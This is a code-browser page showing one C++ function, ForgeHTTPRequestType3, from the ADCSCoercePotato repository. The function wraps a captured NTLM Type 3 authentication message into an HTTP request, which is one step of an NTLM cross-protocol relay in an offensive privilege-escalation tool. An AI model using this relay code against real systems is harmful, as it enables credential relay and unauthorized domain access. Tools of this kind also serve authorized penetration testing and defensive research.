MCPcopy Create free account
hub / github.com/decoder-it/ADCSCoercePotato / ForgeHTTPRequestType3

Function ForgeHTTPRequestType3

HTTPCrossProtocolRelay.cpp:142–155  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

140}
141
142char* ForgeHTTPRequestType3(char* ntlmsspType3, int ntlmsspType3Len, int* httpPacketType3Len, wchar_t* httpIp) {
143 char httpPacketTemplate[] = "GET / HTTP/1.1\r\nHost: %s\r\nAuthorization: NTLM %s\r\n\r\n";
144 char* httpPacket = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DEFAULT_BUFLEN);
145 int b64ntlmLen;
146 char httpIp_a[20];
147 memset(httpIp_a, 0, 20);
148 wcstombs(httpIp_a, httpIp, 20);
149 char* b64ntlmTmp = base64Encode(ntlmsspType3, ntlmsspType3Len, &b64ntlmLen);
150 char b64ntlm[DEFAULT_BUFLEN];
151 memset(b64ntlm, 0, DEFAULT_BUFLEN);
152 memcpy(b64ntlm, b64ntlmTmp, b64ntlmLen);
153 *httpPacketType3Len = sprintf(httpPacket, httpPacketTemplate, httpIp_a, b64ntlm);
154 return httpPacket;
155}
156
157void ExtractType2FromHttp(char* httpPacket, int httpPacketLen, char* ntlmType2, int* ntlmType2Len) {
158 char b64Type2[DEFAULT_BUFLEN];

Callers 1

startCOMListenerMethod · 0.85

Calls 1

base64EncodeFunction · 0.85

Tested by

no test coverage detected